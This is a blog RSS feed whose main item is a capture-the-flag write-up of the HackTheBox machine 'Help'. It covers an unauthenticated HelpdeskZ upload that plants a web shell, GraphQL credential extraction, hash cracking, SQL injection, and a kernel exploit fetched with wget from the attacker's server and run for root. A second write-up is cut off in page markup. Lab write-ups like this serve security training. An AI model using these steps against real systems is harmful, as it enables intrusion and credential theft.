<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Linux on Emil Pawlak</title><link>https://emilpawlak.codeberg.page/categories/linux/</link><description>Recent content in Linux on Emil Pawlak</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>EmilPawlak@protonmail.com (Emil Pawlak)</managingEditor><webMaster>EmilPawlak@protonmail.com (Emil Pawlak)</webMaster><lastBuildDate>Sat, 18 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://emilpawlak.codeberg.page/categories/linux/index.xml" rel="self" type="application/rss+xml"/><follow_challenge><feedId>268463077562171392</feedId><userId>268314549812641792</userId></follow_challenge><item><title>Help</title><link>https://emilpawlak.codeberg.page/posts/htb/help/</link><pubDate>18.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/help/</guid><description>Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn&amp;rsquo;t become annoying or unnecessary complicated at any point. It&amp;rsquo;s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;As usual I start with a nmap scan that runs in the background.





&lt;div
 id="accordion-a42ca444a7152a047145e4c91b6f7f72"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for 10.129.230.159
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/18%OT=22%CT=1%CU=37591%PV=Y%DS=2%DC=I%G=Y%TM=69E3891
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2S
OS:T11NW7%O2=M4E2ST11NW7%O3=M4E2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M
OS:4E2ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y
OS:%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.55 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp

Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1009.37 seconds
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-a42ca444a7152a047145e4c91b6f7f72 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-a42ca444a7152a047145e4c91b6f7f72 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-a42ca444a7152a047145e4c91b6f7f72 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-a42ca444a7152a047145e4c91b6f7f72 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-a42ca444a7152a047145e4c91b6f7f72");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;

&lt;/p&gt;
&lt;p&gt;I inputted the ip into the browser, it changed into &amp;ldquo;help.htb&amp;rdquo; domain so I added it into my &lt;code&gt;/etc/hosts&lt;/code&gt; file. Running nmap scan shows that there are 3 ports opened - 22, 80 and 3000. HTTP shows a default apache2 page. Port 3000 shows a JSON file with a message &amp;ldquo;Hi Shiv, To get access please find the credentials with given query&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I ran a directory scan on both ports &lt;code&gt;ffuf -u http://help.htb:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/code&gt; and checked for any subdomains with &lt;code&gt;ffuf -u http://help.htb:3000/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H &amp;quot;Host: FUZZ.help.htb&amp;quot; -fs 81&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I found additional subdirectories on port 80:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server-status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;javascript
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;support&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I also tried out feroxbuster with &lt;code&gt;feroxbuster -u http://help.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404 --dont-filter&lt;/code&gt; command.&lt;/p&gt;
&lt;p&gt;ffuf showed me that there is a support directory which hosts helpdeskz, forexbuster also showed me that there is an upload page on it. I looked online and with defaultcreds (&lt;code&gt;creds search helpdesk&lt;/code&gt;) but I didn&amp;rsquo;t find anything for this ticketing dashboard.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Searchsploit shows that there is some arbitrary file upload public exploit, I will check it out. I can&amp;rsquo;t find what version I&amp;rsquo;m using but this exploit works on helpdeskz&amp;rsquo;s version 1.0.2 - &lt;a href="https://www.exploit-db.com/exploits/40300" target="_blank" rel="noreferrer"&gt;https://www.exploit-db.com/exploits/40300&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I found this python port of this exploit - &lt;a href="https://github.com/trevlee/helpdeskz_exploit" target="_blank" rel="noreferrer"&gt;https://github.com/trevlee/helpdeskz_exploit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I tested this exploit a few times and looked around other forks of it - there is some nuance to it.&lt;/p&gt;
&lt;p&gt;Firstly, you need to provide a &amp;ldquo;baseUrl&amp;rdquo; for the exploit. I assumed that &amp;ldquo;base&amp;rdquo; url would be &amp;ldquo;&lt;a href="http://help.htb/support%22" target="_blank" rel="noreferrer"&gt;http://help.htb/support"&lt;/a&gt; in that case, but that&amp;rsquo;s not true. When I ran a script I never got any successful hits with it. Then I thought that maybe it expects the form URL with all it&amp;rsquo;s GET parameters like &lt;code&gt;http://help.htb/support/?v=submit_ticket&amp;amp;action=displayForm&lt;/code&gt; but it had an opposite effect - everything was a false-positive.&lt;/p&gt;
&lt;p&gt;Then I was reading some fork version of the script and noticed that author was accessing &lt;code&gt;http://help.htb/support/uploads/tickets/&lt;/code&gt; which finally worked.&lt;/p&gt;
&lt;p&gt;Another issue was the shell&amp;rsquo;s file. When I attempted to attach a &lt;code&gt;.php&lt;/code&gt; shell or similar the form always thrown out an error. The only format it seemed to accept was &lt;code&gt;.txt&lt;/code&gt; which redirected me out. I doubled my extensions like so &lt;code&gt;.php.txt&lt;/code&gt; and it seemed to go through but the exploit never saw those shells. Only after I while I randomly tried to catch a failed form with a plain &lt;code&gt;.php&lt;/code&gt; extension and it worked. Seems like the form doesn&amp;rsquo;t really discard those forms - crazy logic error.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~/Desktop/htb/machines/help/helpdeskz_exploit): python3 exploit http://help.htb/support/uploads/tickets/ shell.php 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;found!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://help.htb/support/uploads/tickets/bd42427925a14e4cf6e46a11468bc98c.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I also couldn&amp;rsquo;t make a reverse shell work so instead I just uploaded a simple php web shell. With it I got access as the help user and got a user flag.&lt;/p&gt;
&lt;p&gt;I decided to try the revshell route again and first I got a never before seen error about a detection of a server side request forgery, but after I refreshed it worked.&lt;/p&gt;
&lt;p&gt;Account is in some interesting groups &lt;code&gt;uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Looking around the filesystem I didn&amp;rsquo;t find anything interesting besides the help&amp;rsquo;s directory so I dug deeper into it. In &lt;code&gt;/home/help/help/src&lt;/code&gt; I found what looks to be the source of the message from port 3000. It asked me to use a query to look for credentials so I ran &lt;code&gt;grep -rni &amp;quot;pass&amp;quot; .&lt;/code&gt; and I found this information&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./graphql/schema/resolvers/index.js:1:const user = { username:&amp;#39;helpme@helpme.com&amp;#39;, password:&amp;#39;5d3c93182bb20f07b994a7f617e99cff&amp;#39; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./graphql/schema/types/user.graphql:4: password: String&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I tried to use those credentials on the only login form I know so on port 80 but it didn&amp;rsquo;t work - same goes for ssh.&lt;/p&gt;
&lt;p&gt;From what I&amp;rsquo;m checking it seems like the software on 3000 Express powered by Node.js running GraphQL. GraphQL is the key part here, it allows me to talk to the servers database. Think of this setup like a normal SQL (preferably MySQL) database. To talk with GraphQL you need to call it and request specific data from its entry points and need to follow syntax.&lt;/p&gt;
&lt;p&gt;So, I could use BurpSuite or some tools that help with graphql but I decided to use curl here.&lt;/p&gt;
&lt;p&gt;The intended way to get this data was likely to query the server with GraphQL.
Keeping that MySQL analogy in mind, to first know what databases there are. If a server or a company is big there might be multiple databases, but here there is only one so we can skip this aspect.&lt;/p&gt;
&lt;p&gt;After databases, I would like to know what tables are in that database, this can be done with such command:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ __schema { types { name } } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;__schema&amp;#34;:{&amp;#34;types&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;Query&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;User&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;String&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Schema&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Type&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__TypeKind&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;Boolean&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Field&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__InputValue&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__EnumValue&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__Directive&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;__DirectiveLocation&amp;#34;}]}}}% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The important part is in the &lt;code&gt;-d&lt;/code&gt; flag. Inside, there is a JSON enveloped GraphQL query which asks the database (&lt;code&gt;__schema&lt;/code&gt;) what tables are there (&lt;code&gt;{ types { name } }&lt;/code&gt;) inside of it.&lt;/p&gt;
&lt;p&gt;Seeing the output I can see a number of &amp;ldquo;tables&amp;rdquo;. Schema and default ones are usually prefixed with &lt;code&gt;__&lt;/code&gt;. From that output I see a &amp;ldquo;table&amp;rdquo; named &amp;ldquo;Users&amp;rdquo; and I would like to access it. Problem is, I don&amp;rsquo;t know the structure inside of it. To enumerate it, I can just the below command. Remember, that the important part is inside the &lt;code&gt;-d&lt;/code&gt; flag:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ __type(name:\&amp;#34;User\&amp;#34;) { fields { name } } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;__type&amp;#34;:{&amp;#34;fields&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;username&amp;#34;},{&amp;#34;name&amp;#34;:&amp;#34;password&amp;#34;}]}}}% ```&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This output shows me, that there is a &amp;ldquo;username&amp;rdquo; and &amp;ldquo;password&amp;rdquo; column - or an entry point.&lt;/p&gt;
&lt;p&gt;Now, knowing what columns I can query, I can search for that with this command:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H &amp;#34;Content-Type: application/json&amp;#34; -d &amp;#39;{&amp;#34;query&amp;#34;:&amp;#34;{ user { username password } }&amp;#34;}&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&amp;#34;data&amp;#34;:{&amp;#34;user&amp;#34;:{&amp;#34;username&amp;#34;:&amp;#34;helpme@helpme.com&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;5d3c93182bb20f07b994a7f617e99cff&amp;#34;}}}% &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Anyway, as the message said &amp;ldquo;To get access please find the credentials&amp;rdquo; and I got the credentials I need to think for what those creds could be. I already checked the helpdeskz and ssh, but my correct suspicion is that they are likely for the express database itself. Express is however just an HTTP server. It natively doesn’t have a built-in authentication system so my only way in could still be GraphQL queries.&lt;/p&gt;
&lt;p&gt;I wanted to authenticate with GraphQL but there looking at my previous output there is no &amp;ldquo;Mutations&amp;rdquo; table. Which would be needed for API to accept any credentials in the first place. I though about other possible ways to authenticate to Express and I thought that my password might be in fact an MD5 hash. I ran it though &lt;code&gt;hashcat&lt;/code&gt; with &lt;code&gt;-m 0&lt;/code&gt; and to my silly surprise it is. the password in reality is &amp;ldquo;godhelpmeplz&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;This credentials worked on the helpdeskz platform this time. Inside, I can see a new tab &amp;ldquo;My Tickets&amp;rdquo; but it and all other tabs don&amp;rsquo;t show any new data.&lt;/p&gt;
&lt;p&gt;That new tab requires me to input a ticket id and search. Maybe there is like an &amp;ldquo;IDOR&amp;rdquo; vulnerability for it. It&amp;rsquo;s not really an idor but I digress. I opened this site with burp, created a small wordlist with number using &lt;code&gt;for i in {0..10000}; do echo &amp;quot;$i&amp;quot;; done &amp;gt; numbers.txt;&lt;/code&gt; and looked for website size difference. There was just one difference for id 0 but it was just another error.
I realized that those ids are not simple number but are encoded same as I did in my foothold - &lt;code&gt;#6DA-F2B-8D321&lt;/code&gt; etc.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Privilege Escalation
 &lt;div id="privilege-escalation" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;I remembered when looking for helpdeskz exploits to file upload I stumbled upon SQL injection. I have a feeling that it could be my way into priv-esc.
&lt;a href="https://github.com/sz3kz/HelpdeskZ-Authenticated-SQL-injection" target="_blank" rel="noreferrer"&gt;This repo&lt;/a&gt; seems like will work. It also mentions the correct version. I followed the steps from the repository I got a few errors like this:&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(myvenv) azaeir@parrot (~/Desktop/htb/machines/help/HelpdeskZ-Authenticated-SQL-injection): ./helpdeskz-sql-injection.py &amp;#34;http://help.htb/support/&amp;#34; &amp;#34;helpme@helpme.com&amp;#34; &amp;#34;godhelpmeplz&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+) Csrfhash: &amp;#34;7a42706d1baa866ce4216464bb815971&amp;#34; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(+) Ticket link: &amp;#34;http://help.htb/support/?v=view_tickets&amp;amp;action=ticket&amp;amp;param[]=9&amp;#34; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Failed to fetch the full vulnerable url.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) This may be due to an existing ticket&amp;#39;s lack
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) lack of file attachment.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Delete file-less ticket and create one with 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) a file attached to it!
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(-) Response:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;b&amp;#39;&amp;lt;!DOCTYPE html PUBLIC &amp;#34;-//W3C//DTD XHTML &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But it just turned out that I need to create a ticket as an authenticated user. When I ran the above command again I got admin credentials - admin:d318f44739dced66793b1a603028133a76ae680e. Interestingly, this repo seems to be using error based sql injection and from the looks of it, it was created specifically for this box which kinda defeats the purpose of using it.&lt;/p&gt;
&lt;p&gt;I ran the admin&amp;rsquo;s password hash through hashcat, first with just &lt;code&gt;hashcat admin.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt; and then &lt;code&gt;hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt&lt;/code&gt; when I learned that it&amp;rsquo;s SHA1 - admin:Welcome1.&lt;/p&gt;
&lt;p&gt;I use the admin credentials to ssh into the host but it didn&amp;rsquo;t work, I also tried it on helpdeskz and same results. I used variants with and without the domain to no avail.
I decided to run the script again and guess other columns like &amp;ldquo;email&amp;rdquo; and &amp;ldquo;id&amp;rdquo;. I found an email &lt;a href="mailto:support@mysite.com" &gt;support@mysite.com&lt;/a&gt; but it still doesn&amp;rsquo;t work.&lt;/p&gt;
&lt;p&gt;I took a break and came back with new power. I decided to go over my linux priv-escalation before i run linPEAS.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;uname -a&lt;/code&gt; I got information about the linux and with &lt;code&gt;searchsploit 4.4.0-116&lt;/code&gt; I noticed that there is a local privilege escalation vulnerability related to this kernel version.&lt;/p&gt;
&lt;p&gt;I found &lt;a href="https://0xma.github.io/hacking/local_privilege_escalation_on_linux_kernel.html" target="_blank" rel="noreferrer"&gt;this article&lt;/a&gt; that talks about an exploit. I followed the steps mentioned there and just slightly adjusted the recommendations.
I download the exploit with &lt;code&gt;searchsploit -m linux/local/44298.c&lt;/code&gt;.
Then i compile it with &lt;code&gt;gcc -static 44298.c -o exploit.c&lt;/code&gt;. &lt;code&gt;-static&lt;/code&gt; also compiles the exploit with all libraries it might need.
I start a python server &lt;code&gt;python3 -m http.server 1338&lt;/code&gt;.
Look for a directory where I&amp;rsquo;m able to download the exploit. I can in &lt;code&gt;cd /tmp&lt;/code&gt;.
I download the exploit with &lt;code&gt;wget http://10.10.15.189:1338/exploit.c&lt;/code&gt;.
Make it executable with &lt;code&gt;chmod +x exploit.c&lt;/code&gt;.
And run &lt;code&gt;./exploit.c&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With these steps I get a root shell and find the root flag in their home directory.&lt;/p&gt;

&lt;h2 class="relative group"&gt;Closing Thoughts
 &lt;div id="closing-thoughts" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;
&lt;p&gt;Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn&amp;rsquo;t become annoying or unnecessary complicated at any point. It&amp;rsquo;s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.&lt;/p&gt;</description><media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://emilpawlak.codeberg.page/posts/htb/help/featured.png"/></item><item><title>Updown</title><link>https://emilpawlak.codeberg.page/posts/htb/updown/</link><pubDate>12.04.2026</pubDate><author>EmilPawlak@protonmail.com (Emil Pawlak)</author><guid>https://emilpawlak.codeberg.page/posts/htb/updown/</guid><description>Updown is a really challenging machine very focused on niche web exploitation, solid code review and careful parameter manipulation to actually exploit the attack vectors.</description><description>
&lt;h2 class="relative group"&gt;Enumeration
 &lt;div id="enumeration" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;nmap
 &lt;div id="nmap" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;I start with a nmap scan which shows that the only ports opened are HTTP, SSH on TCP and DHCP on UDP.





&lt;div
 id="accordion-b384508b4c968639ee5c0ced976148a1"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
	


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;nmap scan results&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
